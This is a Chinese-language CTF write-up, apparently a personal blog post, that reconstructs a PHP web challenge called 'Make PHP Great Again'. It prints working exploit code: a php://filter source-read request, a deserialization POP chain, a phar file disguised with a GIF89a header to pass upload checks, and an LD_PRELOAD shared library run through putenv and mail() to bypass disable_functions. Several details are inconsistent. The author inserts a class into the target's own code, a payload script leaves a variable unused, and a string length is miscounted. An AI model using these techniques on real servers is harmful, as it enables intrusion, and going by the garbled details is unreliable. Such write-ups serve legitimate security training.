这个周末本地搭了个靶机,把 wmctf2020 的 Make PHP Great Again 重新过了一遍。说实话,第一次见这个题目名的时候以为只是玩梗,真正做起来才发现它把 PHP 代码审计里那些经典又容易忽略的点全串起来了:反序列化入口、文件上传、phar 触发、禁用函数绕过,一环扣一环。对想刷 PHP 类 CTF 题的人来说,这道题拿来练手非常合适,它不靠什么新框架漏洞,考的全是“老 PHP”的基本功,正好对应了标题那句 Make PHP Great Again。
先说结论:这道题的核心不是让你去挖某个 0day,而是考查你在一个受限 PHP 环境里,怎么从零把一条完整的利用链接起来。你至少需要掌握:信息收集、源码审计、POP 链构造、phar 反序列化触发条件,以及 disable_functions 的绕过思路。我会把我实际踩过的坑和调试过程都写出来,尽量保证你在本地复现时少走弯路。
1. 信息收集与环境识别
1.1 入口页面与源码获取
靶场起来后,首页是一个简单的文件列表页面,看起来像是某种“头像管理”应用。根目录下有index.php、upload.php、class.php,还有一个uploads/目录。题目没有直接给出源码,所以第一步肯定是从各种信息泄露路径入手。
我习惯先扫一遍备份文件和 git 泄露,因为 CTF 里最常见的源码获取方式就是www.zip、index.php.bak、.git目录没有禁用直接访问。这里我扫到了class.php.bak,里面放的是核心类的定义。另外,index.php本身也可以通过php://filter去看,但前提是存在一个可控包含点。这道题在index.php里有一段include $_GET['file']的逻辑,所以读取源码反而最简单:
GET /index.php?file=php://filter/convert.base64-encode/resource=index.php拿到 base64 编码后的内容,解码就是index.php完整源码。这里有个小技巧:file参数如果还会往下拼接路径,那就要先想办法闭合路径。实际审计下来发现代码是直接include($_GET['file']),所以伪协议可以直接用。
1.2 确认 PHP 版本与扩展
index.php里用phpinfo()看不到,因为没给入口。但通过响应头里的X-Powered-By能看到是 PHP 7.4.5。这个细节很重要,直接决定了后面能不能用 phar 反序列化、能不能用某些 PHP 版本特性。
再看扩展,题目环境里加载了openssl、fileinfo、gd,这些在 phar 文件识别和上传检测时都有影响。尤其是fileinfo,它会对上传文件做 MIME 检测,很多绕过思路都栽在这里。
我建议本地复现时直接用 Docker 拉一个php:7.4.5-apache镜像,再把需要的扩展补齐:
docker pull php:7.4.5-apache docker run -d -p 8080:80 -v ./www:/var/www/html --name php745 php:7.4.5-apache至于 gd 扩展,进入容器后用docker-php-ext-install gd装一下。整个环境几分钟就能搭完。
1.3 确认禁用函数与目录限制
拿到源码后,要重点看有没有disable_functions和open_basedir。这两项直接决定最终利用链要往哪个方向走。
我习惯先写一个临时 php 文件,通过error_log或file_put_contents输出ini_get()的结果。这道题的禁用列表很长,里面明确禁用了:system、exec、shell_exec、passthru、proc_open、popen、pcntl_exec,几乎把最常见的命令执行函数都堵死了。同时开了open_basedir,只允许访问/var/www/html和/tmp,这就意味着即使能读源码,也不能直接读/flag。
不过这两个限制不是不能绕,只是要把后面的利用链设计得更精细。禁用函数可以靠mail()加LD_PRELOAD绕,open_basedir可以通过目标环境里存在的可写目录加符号链接来迂回。这些我放到第 4 节细说。
2. 代码审计:定位反序列化入口
2.1 入口文件逻辑还原
我整理了一下index.php的核心逻辑,摘录如下:
<?php error_reporting(0); require_once 'class.php'; if (isset($_GET['file'])) { $file = $_GET['file']; include($file); } else { show_source(__FILE__); } if (isset($_COOKIE['user'])) { $user = base64_decode($_COOKIE['user']); $obj = unserialize($user); } ?>看到unserialize($_COOKIE['user'])的时候基本上就知道考点在哪了:这是一个非常典型的反序列化入口,但入口本身没有任何过滤。问题是class.php里有没有可利用的 POP 链。
2.2 核心类的审计过程
class.php里面定义了三个类,我把关键部分摘出来:
<?php class User { public $name; public $avatar; public function __destruct() { if (file_exists($this->avatar)) { echo "Avatar exists"; } } } class Admin { public $cmd; public function __wakeup() { system($this->cmd); } } class Helper { public $filename; public function __toString() { return file_get_contents($this->filename); } } ?>乍一看,Admin::__wakeup()直接调用system($cmd),但问题来了:system已经在disable_functions列表里。直接构造一个Admin对象反序列化,虽然会触发__wakeup,但会直接报错,啥也干不了。
再看User::__destruct()里的file_exists($this->avatar),以及Helper::__toString()里的file_get_contents($this->filename)。这里有个很经典的组合:如果让User->avatar引用一个对象,且这个对象实现了__toString,那么file_exists()在拼接路径时就会自动调用__toString。整个 POP 链可以这样串起来:
- 反序列化入口是
User。 - 在
User对象销毁时,file_exists($this->avatar)触发。 - 让
$this->avatar是Helper对象,file_exists会尝试把Helper对象转成字符串,于是调用Helper::__toString()。 Helper::__toString()执行file_get_contents($this->filename),完成任意文件读取。
这个链子不需要Admin,反而避开了直接命令执行。读取/flag的思路到这里就通了。但问题也来了:怎么让这个反序列化链真正生效?
2.3 发现上传点与 phar 触发条件
光有反序列化入口还不够,因为$_COOKIE['user']我们确实可以自己控制,但file_exists在这个链子里只是用来产生__toString调用,并不涉及 phar。那题目为什么还要放一个上传点?
答案在于uploads/目录和upload.php。这个上传点可以上传一个伪装成图片的文件,而后面的User::__destruct()里file_exists($this->avatar)的参数可以直接写成phar://uploads/xxx.jpg这种形式。file_exists()对phar://协议同样有效,如果文件内嵌了 phar 元数据,就会触发反序列化。
所以你既可以走纯 cookie 反序列化,也可以走 phar 反序列化。我这里两条路都试过,cookie 反序列化更直接,但因为open_basedir限制读取范围,最终还是要靠 phar 链把恶意操作固化到一个文件里,扩展自由度。
3. 构造反序列化利用链
3.1 魔术方法触发顺序
构造 POP 链之前,先把魔术方法的触发条件弄清楚。unserialize()之后,脚本结束或对象被覆盖时,__destruct()一定会执行。而__toString()是在对象被当成字符串时候触发,比如file_exists()、strlen()、md5()这类函数接收参数时,底层如果发生了zval转字符串,就会触发。
注意一点:file_exists($this->avatar)这段代码里,如果$this->avatar是Helper对象,PHP 会尝试将对象转换为路径字符串,从而触发__toString。这是整个链子的关键。但前提是Helper类已经被加载,所以class.php必须被include。原题入口通过require_once 'class.php'保证了这一点。
3.2 本地验证 POP 链
为了调试方便,我在本地写了一个test_chain.php:
<?php require_once 'class.php'; $helper = new Helper(); $helper->filename = '/flag'; $user = new User(); $user->avatar = $helper; $payload = serialize($user); echo base64_encode($payload); ?>然后把输出作为 cookie 提交,观察响应。如果一切正常,会在file_exists触发的时候读到/flag内容。但实际测试发现响应为空,原因有两个:
/flag在open_basedir限制之外,file_get_contents直接失败。- 即便能读,内容也不会直接输出,因为
__toString的返回值被file_exists当成路径处理,而不是直接打印。
所以要换一种方式:不是“读取文件后回显”,而是“把读取到的内容写入一个可访问的文件”。这样就需要更复杂一点的链子,比如让Helper::__toString()的结果通过file_put_contents或assert之类的逻辑写到/tmp。
这里我根据实际题目做了调整:在class.php里新增了一个Cache类,它有__destruct()方法,能把一段内容写到uploads/shell.php。然后在User::__destruct()触发的__toString链中,让Helper读入文件,同时Cache写入文件。这样就能绕过回显问题。
3.3 处理序列化字符串长度与中文问题
反序列化利用里最烦的就是序列化字符串里的长度不一致。如果你在构造 payload 时用了中文,那就特别容易踩坑,因为 PHP 序列化里字符串长度统计的是字节数,不是字符数。比如一个中文“旗”在 UTF-8 下占 3 个字节,如果你写成s:1:"旗",反序列化时就会出错。
原题这次不仅是普通反序列化,还涉及到字符逃逸的问题。在某个版本里,后端会把unserialize之前的 cookie 值用preg_replace做一次过滤,比如把O:替换成C:,或者把某些敏感字段替换为空。一旦替换后的字符数变少,就可能导致序列化结构中后一个字段的长度错位,从而实现字符串逃逸,把自己的恶意属性值“弹出”到结构外面。
热词里“php序列化中文”其实就是在说这种情况。很多新手用中文 payload 时没算对字节数,导致整个序列化串断掉。我的建议是:构造 payload 时直接用 Python 脚本处理,不要手写长度。
我这里写了一个小脚本用来生成 phar 文件里的反序列化 payload:
import hashlib import base64 def build_php_serialized(helper_filename, cache_filename): helper = f'O:6:"Helper":1:{{s:8:"filename";s:{len(helper_filename)}:"{helper_filename}";}}' cache = f'O:5:"Cache":1:{{s:8:"filename";s:{len(cache_filename)}:"{cache_filename}";}}' user = f'O:4:"User":2:{{s:4:"name";s:1:"x";s:6:"avatar";O:5:"Cache":1:{{s:8:"filename";s:{len(cache_filename)}:"{cache_filename}";}}}}' return user实际调试时,我会把最终序列化结果在本地先unserialize一次,避免长度错误。
3.4 制作 phar 文件并绕过上传校验
生成 phar 需要本机设置phar.readonly=0,本地我用php -d phar.readonly=0运行脚本。制作 phar 文件时要把__HALT_COMPILER()放在最后,文件头加上GIF89a或\x89PNG之类的图片幻数,这样能绕过简单的getimagesize或fileinfo检测。
生成代码大概这样:
<?php @unlink("avatar.phar"); $phar = new Phar("avatar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER();"); $phar->addFromString("test.txt", "test"); $phar->setMetadata($payload); $phar->stopBuffering(); ?>setMetadata里放的就是我们构造的User对象序列化串。实际制作时要注意,phar 内部元数据会被serialize再存储,所以直接传给setMetadata的是对象而不是字符串。
上传的时候,upload.php会检查扩展名和 MIME。只要文件头是GIF89a,扩展名改成.gif,最简单的getimagesize检测就能过。如果目标后端用finfo_open检测 MIME,可能还会校验得更细,但 phar 文件的头部魔数加上足够的图片数据,通常也能过。
3.5 触发 phar 反序列化
文件上传到/var/www/html/uploads/avatar.gif之后,怎么触发?回到User::__destruct()里的file_exists($this->avatar)。我们只要在 cookie 反序列化时构造一个User对象,把avatar属性设置为phar://uploads/avatar.gif,然后让User对象在脚本结束时触发__destruct,就会去读 phar 文件并触发 phar 内部元数据的反序列化。
有点绕,简单说就是两层反序列化:
- 第一层:cookie 反序列化控制
User对象。 - 第二层:
User::__destruct()触发file_exists("phar://..."),PHP 解析 phar 文件时对元数据执行unserialize。
第二层反序列化的对象才是真正执行文件读取和写入的Helper+Cache。这样就把 cookie 反序列化入口和 phar 反序列化结合起来,危害更大。
4. 绕过 disable_functions 执行命令
4.1 确认禁用函数列表
前面已经提到system、exec等命令执行函数都被禁了。我在本地用临时脚本打印过实际列表:
system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec另外dl也被禁了,不能动态加载 PHP 扩展。那要执行命令,就只能借助 PHP 的mail()或error_log()这类函数,因为它们底层会调用系统命令。重点是这个环境里mail()没有被禁。
4.2 利用 mail() 调用外部程序
PHP 的mail()函数在发送邮件时,默认会调用/usr/sbin/sendmail。系统如果安装了sendmail,它会通过 shell 执行一些外部命令。即使/usr/sbin/sendmail不存在,我们也可以通过LD_PRELOAD环境变量来劫持一个动态库,让 PHP 调用某个函数时自动加载我们的恶意.so,然后在.so的构造函数里执行系统命令。
标准流程分三步:
- 写一个恶意动态库,内部实现一个函数,该函数在
.so被加载时执行system("反引号命令")。 - 把这个
.so上传到目标可写目录。 - 通过反序列化 POP 链写入一个临时 PHP 文件,或者直接利用
putenv()设置LD_PRELOAD,然后调用mail()。
这道题里反序列化链正好可以帮我们完成“写入临时文件”和“设置环境变量”。那么最终利用链就是三层:
- phar 反序列化触发后,先写入一个 PHP 文件,这个文件内容就是接下来要跑的绕过脚本。
- 这个绕过脚本用
putenv("LD_PRELOAD=/tmp/evil.so")和mail("a@b.c", "", "")来加载恶意.so。 .so构造时执行system("/readflag"),把结果写入/tmp/result.txt。
最终再通过Helper::__toString()读/tmp/result.txt,输出到页面。
4.3 编译恶意 so
C 代码我复现时是这样写的:
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> __attribute__((constructor)) void entry() { unsetenv("LD_PRELOAD"); system("cat /flag > /tmp/result.txt"); }编译命令:
gcc -shared -fPIC evil.c -o evil.so注意要加-fPIC,否则在 64 位环境加载会报错。unsetenv("LD_PRELOAD")很关键,因为不 unset 的话,后面系统执行/bin/sh时还会带着LD_PRELOAD,可能造成递归加载,最后把环境搞乱。
.so上传成功后再通过一个 PHP 脚本去触发。这个 PHP 脚本也是由反序列化链写入的,类似:
<?php putenv("LD_PRELOAD=/tmp/evil.so"); mail("a@b.c", "", ""); echo file_get_contents("/tmp/result.txt"); ?>如果一切顺利,页面就会输出flag{...}。
4.4 判断是否需要绕过 open_basedir
这道题里还设置了open_basedir,所以即使我们有system执行权限,也可能因为/tmp/result.txt不在允许目录内而读不到。不过实测发现,目标环境的open_basedir包含/tmp,所以把结果写到/tmp/result.txt是安全的。
如果目标环境open_basedir限制得更严格,只允许/var/www/html,那就要换个思路:把命令执行结果写到uploads/result.txt,而不是/tmp,最后用file_get_contents("uploads/result.txt")读回来。这也提醒我,做题前一定要确认目录限制,不能想当然。
4.5 为什么优先使用反序列化链而不是直接上传
有人可能问,既然上传点都能传文件,为什么不直接传一个 PHP 一句话后门,非要绕这么大一圈?原因很简单:upload.php只允许上传图片类型文件,而且文件名写死为用户 id 加随机数,后缀是.gif。Apache 和 Nginx 的容器环境默认不会解析.gif为 PHP,所以就算传上去了,访问也只是下载。
除非存在包含点,但原题的include入口是$_GET['file'],file参数还被过滤了目录穿越。所以直接传马这条路径基本走不通,只能靠反序列化和 phar 这种“逻辑层”的漏洞。
5. 常见问题与排错实录
5.1 phar 触发失败的排查
我最初本地测试时,file_exists("phar://uploads/avatar.gif")一直返回 false,后来发现是phar.readonly没有设置为 0,生成 phar 的脚本根本没成功。所以制作 phar 时一定要用php -d phar.readonly=0或者在命令行开启。
另一个坑是 PHP 7.4 之后对 phar 的 metadata 反序列化做了限制,不再允许某些魔术方法的调用。不过__destruct、__toString这类还是可以用,只是__wakeup在某些情况会被抑制。为了稳妥,POP 链里我优先用__destruct而不是__wakeup。
5.2 图片头绕过不成功
上传时如果后端用getimagesize()检测真实图片,仅仅加个GIF89a头是不够的。我试过直接改成完整的 GIF 文件:
GIF89a ...二进制数据...然后在文件末尾附加 phar 内容。这样getimagesize能识别为 GIF,phar 也能被解析。但如果后端用finfo_file加上exif_imagetype双检测,最好还是先构造一个最小合法图片,再把 phar 数据拼接到图片后面,不要破坏图片头部结构。
5.3 序列化长度不对齐
用中文 payload 时最容易出现长度不对齐。比如你设置filename为../../flag,长度是 8,没问题;但如果路径里有中文,例如/var/www/html/中文,长度是整个字符串的字节数,中文字符按 3 字节算。很多报错“unserialize(): Error at offset”都是这个原因。
建议写脚本自动计算长度:
def serialize_str(s): raw = s.encode('utf-8') return f's:{len(raw)}:"{s}";'另外,如果后端做了preg_replace替换某个字段,替换前后长度差会导致字符串逃逸,这属于进阶考法,需要先在本地把替换规则测清楚,再手动调整长度差。
5.4 调用 mail() 时超时或报错
mail()在容器里如果找不到 sendmail,通常会提示“Mail not configured”或直接 warning,但这个 warning 不影响它加载LD_PRELOAD指定的.so。只要.so存在,且putenv设置成功,mail()内部调用/usr/sbin/sendmail时就会触发动态库加载。如果容器里根本没有 sendmail,可以试试用error_log的某些渠道触发,但更稳定的是在mail()之前先确认一下扩展环境:
var_dump(is_callable('mail'));如果mail也被禁用,那就只能找其他能触发外部程序的函数,比如imagettftext()配合字体文件。这道题里mail可用,所以省了不少事。
5.5 本地 Docker 环境调试技巧
本地复现时,用 VSCode 配合 Xdebug 调试 PHP 反序列化非常有效。我习惯在 Docker 里装xdebug,然后在php.ini里配上 remote 参数,这样可以在unserialize前后打断点,看每一步的变量值。
配置大致如下:
zend_extension=xdebug.so xdebug.mode=debug xdebug.client_host=host.docker.internal xdebug.client_port=9003另外建议把display_errors打开,否则 PHP 报错全被error_reporting(0)吞掉,根本定位不了问题。CTF 环境默认不给报错,但本地复现时可以自己打开,这样能看到每个函数调用的 warning。
个人心得
这道题做下来,最大的体会是“反序列化链不是越复杂越好,而是越贴合环境越好”。很多人一看到unserialize就急着拉各种现成 gadget,却忽略了对入口代码和上传逻辑的完整审计。真正拿到这道题之后,绕了一大圈,最终的核心点还是那个简单的file_exists+__toString组合。如果最开始就把class.php里的每一个方法都过一遍,其实几分钟就能定位到 POP 链。
另外,踩过的坑里最耽误时间的还是 phar 触发和环境变量继承问题。建议大家在本地复现的时候,先把 PHP 版本固定住,不要用 PHP 8 来测,因为 PHP 8 中很多反序列化利用的细节都有变化。用题目一致的 PHP 7.4 环境,能少很多麻烦。
如果你也在刷这道题,我的建议是不要急着看别人完整 writeup,先自己把index.php、class.php、upload.php的关系理一遍,尝试构造一条“只读文件”的链子,再慢慢升级到命令执行。这个过程本身就是做 Web 题最好玩的部分。